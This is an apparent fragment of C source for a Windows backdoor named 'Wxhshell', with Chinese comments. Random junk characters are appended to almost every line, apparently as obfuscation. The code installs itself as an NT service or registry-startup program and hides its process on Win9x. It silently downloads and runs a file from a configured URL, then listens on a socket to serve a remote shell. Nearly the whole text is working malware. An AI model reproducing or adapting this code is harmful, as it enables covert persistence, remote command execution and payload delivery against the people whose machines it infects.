ULONG UniqueProcessId; :RB7#v={
ULONG InheritedFromUniqueProcessId; 9-m_
e=jk6
} PROCESS_BASIC_INFORMATION; /G7^ l>pa
y@*4*46v
PROCNTQSIP NtQueryInformationProcess; i: UN
UdkNb}L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g~K-'Nw
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q$.CtECo
E{JTy{z-
HANDLE hProcess; M^WoV
}'
PROCESS_BASIC_INFORMATION pbi; |n,O!29
i=b'_SZ'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @]X!#&2>
if(NULL == hInst ) return 0; wjX0r7^@
C'A
D[`p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `{"V(YMEV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bq~S=bAB>R
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); otjT?R2g'
^8oN~HLZ
if (!NtQueryInformationProcess) return 0; p +JOUW
R6;229e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w\d1
if(!hProcess) return 0; 6I=d0m.io
gPKO-Fsd"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Zn,|-iW
S?v;+3TG
CloseHandle(hProcess); u_ :gqvC=
9} C(M?d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ZC -lAY
if(hProcess==NULL) return 0; {yf,:5
<]S
M$)=D
HMODULE hMod; nrpbQ(zI*
char procName[255]; T[},6I|!
unsigned long cbNeeded; A;C4>U Y
O[1Q#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,82?kky
2-g 5Gb2|
CloseHandle(hProcess); i0x[w>\-
UeBSt.
if(strstr(procName,"services")) return 1; // 以服务启动 'SG<F,[3
^JIs:\g<<
return 0; // 注册表启动 QB*AQ5-
} dXt@x8E
yyVJb3n5:!
// 主模块 PL\4\dXB
int StartWxhshell(LPSTR lpCmdLine) 0_>1CW+X
{ f]Z9=
SOCKET wsl; |9CPT%A#
BOOL val=TRUE; G7-.d/8|^
int port=0; W}(xE?9&
struct sockaddr_in door; sV~|9 /r
Cq=k3d#}
if(wscfg.ws_autoins) Install(); :oZ~&H5Q
0#ePg6n
port=atoi(lpCmdLine);
3=L5Y/
i2O$oHd
if(port<=0) port=wscfg.ws_port; 5iItgVTW
gavf$be
WSADATA data; V,tYqhQ3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BXl
Y V"
zq^eL=%:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4NFvX4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !Cm9DzG
door.sin_family = AF_INET; .#e?[xxk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &eg@ZnPn
door.sin_port = htons(port); x2]chN
jA%R8hdr_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .YS48 c
closesocket(wsl); Bb5RZ#oa
return 1;
5&U?\YNLa
} R/c-sV
Wzh#dO?7
if(listen(wsl,2) == INVALID_SOCKET) { NydoX9
closesocket(wsl); NzID[8`
return 1; <^A1.o<GN
} c30kb
Wxhshell(wsl); *zPz)3;
WSACleanup(); G`jJKiC
.)=j~}\
return 0; s)~H_,
/$ueLa
} D
z>7.'3
+JFE\>O
// 以NT服务方式启动 Mg^3Y'{o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7}e{&\0=l
{ \" =@uqar2
DWORD status = 0; `Yu4h+T
DWORD specificError = 0xfffffff; 8bEii1EM
Ria*+.k@"B
serviceStatus.dwServiceType = SERVICE_WIN32; ]:]w+N%7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; <m?/yREK2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dy0xz5N-
serviceStatus.dwWin32ExitCode = 0; y"0!7^
serviceStatus.dwServiceSpecificExitCode = 0; q&k?$rn
serviceStatus.dwCheckPoint = 0; 3)py|W%X$
serviceStatus.dwWaitHint = 0; Ba|76OBRJ
$k3l[@;hE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 71yf+xL
if (hServiceStatusHandle==0) return; `>}e 5
Zo5.Yse
status = GetLastError(); v/7iu*u
if (status!=NO_ERROR) bU"2D.k
{ a<Ptm(,
serviceStatus.dwCurrentState = SERVICE_STOPPED; jP"='6Vrw
serviceStatus.dwCheckPoint = 0; )VR/a
serviceStatus.dwWaitHint = 0; W\yaovAt
serviceStatus.dwWin32ExitCode = status; =_dqoAF
serviceStatus.dwServiceSpecificExitCode = specificError; %MUwd@,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <~!R|5sK
return; Rlf#)4
} *[['X%f
}#f~"-O
serviceStatus.dwCurrentState = SERVICE_RUNNING; baM@HpMhM
serviceStatus.dwCheckPoint = 0; /3v`2=b
serviceStatus.dwWaitHint = 0; L[:b\O/p,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3/((7O[
} Kkds^v6
rv97Wm+
// 处理NT服务事件,比如:启动、停止 {5gh.
VOID WINAPI NTServiceHandler(DWORD fdwControl) -r"h[UV)
{ Bso3Z ^X.
switch(fdwControl) 8(A+"H(
{ !|S{e^WhbU
case SERVICE_CONTROL_STOP: vwQ6=
serviceStatus.dwWin32ExitCode = 0; )y}W=Q>T
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4~/3MG
serviceStatus.dwCheckPoint = 0; onAC;<w
serviceStatus.dwWaitHint = 0; 9i+SU|;j
{ pO_L,~<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J'>i3eLq
} tO^KCnL
return; ~<#!yRy>r
case SERVICE_CONTROL_PAUSE: U#!f^@&AB
serviceStatus.dwCurrentState = SERVICE_PAUSED; !G3d5d2)C
break; 07L1 "
case SERVICE_CONTROL_CONTINUE: |cE 69UFB
serviceStatus.dwCurrentState = SERVICE_RUNNING; $>fMu
break; ^h@1t FF
case SERVICE_CONTROL_INTERROGATE: :|?nz$
break; WwM/M!98J
}; mN:p=.&
<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RK`C31Ws
} mxV0"$'Fm
KoNJ;YiKtN
// 标准应用程序主函数 -NyfW+T={
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g4 |s9RMD
{ JH;\wfrD
6-<>P E2
// 获取操作系统版本 36U
zfBa
OsIsNt=GetOsVer(); ?R}a,k
GetModuleFileName(NULL,ExeFile,MAX_PATH); gjVKk
ESl</"<J
// 从命令行安装 $NtbI:e{
if(strpbrk(lpCmdLine,"iI")) Install(); _ *O^|QbM
+5+?)8Ls
// 下载执行文件 n^AQ!wC
if(wscfg.ws_downexe) { 2& l~8,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zLxO\R!d
WinExec(wscfg.ws_filenam,SW_HIDE); "NamP\hj
} hkq[xgX
5 5_#?vw
if(!OsIsNt) { uxd5 XS
// 如果时win9x,隐藏进程并且设置为注册表启动 5xawa:K
HideProc(); Xn'{g
StartWxhshell(lpCmdLine);
!Z'x h +
} |h; _r&
else u!As?AD.
if(StartFromService()) D^knN-nZ*
// 以服务方式启动 ljij/ C=
StartServiceCtrlDispatcher(DispatchTable); ul$^]ZWkI
else Wa{>R2h\
// 普通方式启动 ;U=RV&
StartWxhshell(lpCmdLine); .'y]Ea
y[s* %yP3l
return 0; 8)D5loS
}